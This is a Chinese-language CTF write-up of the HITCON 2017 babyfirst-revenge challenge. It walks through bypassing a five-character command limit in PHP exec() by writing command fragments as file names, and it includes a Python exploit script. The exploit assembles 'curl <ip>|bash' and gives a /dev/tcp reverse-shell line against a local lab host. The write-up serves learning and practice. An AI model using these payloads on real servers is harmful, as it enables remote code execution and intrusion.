开学了还是得学习的,复现一波题目来玩玩,其实是实力不够不能去打网鼎杯emmm
先从Hitcon2017 babyfirst-revenge这一个题目,总结一下还是学到很多东西的
复现地址 https://github.com/Pr0phet/hitconDockerfile/tree/master/hitcon-ctf-2017/babyfirst-revenge
这是题目回显的源码
$sandbox = '/www/sandbox/' . md5("orange" . $_SERVER['REMOTE_ADDR']);
@mkdir($sandbox);
@chdir($sandbox);
if (isset($_GET['cmd']) && strlen($_GET['cmd']) <= 5) {
@exec($_GET['cmd']);
} else if (isset($_GET['reset'])) {
@exec('/bin/rm -rf ' . $sandbox);
}
highlight_file(__FILE__);
这个源码的意思就是会自动创建一个/www/sandbox/
然后在下面新建文件夹,然后可以通过cmd
参数去执行相关系统命令,但是这个系统命令的长度是会有限制的,这题的关键在于要绕过这个长度以及如何去构造getshell
的命令。
突然发现P神就是很早就有类似文章,我还是太菜,得拼命学习啊
https://www.leavesongs.com/SHARE/some-tricks-from-my-secret-group.html
在Linux下面可以通过写入一个文件,文件里面的内容是系统命令,然后可以通过sh filename
来执行文本里面的系统命令,如果有报错的话会自动跳过
如
我们可以通过>+fileanme来实现新建一个文件,注意区别一下>
和>>
这两个符号
小于号:命令默认从键盘获得的输入,改成从文件,或者其它打开文件以及设备输入
>> 是追加内容
> 是覆盖原有内容
后面会有这里的详细利用
这样就可以运用这两个知识点去实现这段代码的绕过
思路就是通过构造一个文件然后往里面写入类似curl 192.168.1.104|bash
之类的语句然后执行,其实还可以利用其他python 以及PHP环境去执行代码,访问 192.168.1.104/index.php
里面的内容bash -i >& /dev/tcp/192.168.1.104/12345 0>&1
从而达到反弹webshell的目的
这里面注意两个点
第一点ls
命令列文件的顺序,通过php执行的ls命令以及直接在linux下执行的ls命令是不一样的,因为我们一开始的输入是从php里面开始的
ls 的默认排序方式手册上只写了是alphabetically
(字典序),经过测试发现ls排序方式是忽视字母大小写,数字排在字母前面,无视数字和英文字母之外的字符。
php执行生成的_的内容序列并非和我们在linux命令行一样,查资料 ls 排序和应该和环境变量LC_COLLATE
有关!而php应该是c
https://www.zhihu.com/question/273928679
所以还是按照官方wp那样通过追加方式去添加内容
'>ls\\',
'ls>_',
'>\ \\',
'>-t\\',
'>\>g',
'ls>>_',
就是为了拼凑出ls -t>g
,这是为了后面构造curl 192.168.1.104|bash
做好准备,我们就可以通过时间的先后顺序把curl命令完整的拼接
第二点我们是通过构造文件名,然后通过ls
命令将文件名写入到另外一个文件里面去然后执行,这里面要注意转义符号\
(反斜杠)不要忘记
上脚本
import requests
from time import sleep
from urllib import quote
payload = [
# generate `ls -t>g` file
'>ls\\',
'ls>_',
'>\ \\',
'>-t\\',
'>\>g',
'ls>>_',
# generate `curl orange.tw.tw|python`
# generate `curl 10.188.2.20|bash`
'>sh\ ',
'>ba\\',
'>\|\\',
'>6\\',
'>10\\',
'>1.\\',
'>8.\\',
'>16\\',
'>2.\\',
'>19\\',
'>\ \\',
'>rl\\',
'>cu\\',
# exec
'sh _',
'sh g',
]
r = requests.get('http://192.168.1.104:49200//?reset=1')
for i in payload:
assert len(i) <= 5
r = requests.get('http://192.168.1.104:49200//?cmd=' + quote(i) )
print i
sleep(0.2)
反弹webshell成功
然后在/home
目录下发现有关flag的东西,应该是在数据库里面
连接一下
交互性极差,每次都要exit一下才有回显,也是服气。。。但最后还是得到flag了
其实这个题目还有其他骚操作,比如用利用wget
,以及直接构造一个比较骚气的域名。。这域名搞不来,我就没有尝试了,至于wget方法的话下次复现一下2015年的babyfirst在尝试一下
顺便吐槽一下,最近的算法课懵逼得很,全都跟高数的级数收敛还有泰勒展开扯上关系,突然恐惧,还得重新用C++写oj上的算法题目,都是些大佬。。我做完的时候他们都不知道ak多久了。。。
恐怕9月份难熬23333.。。。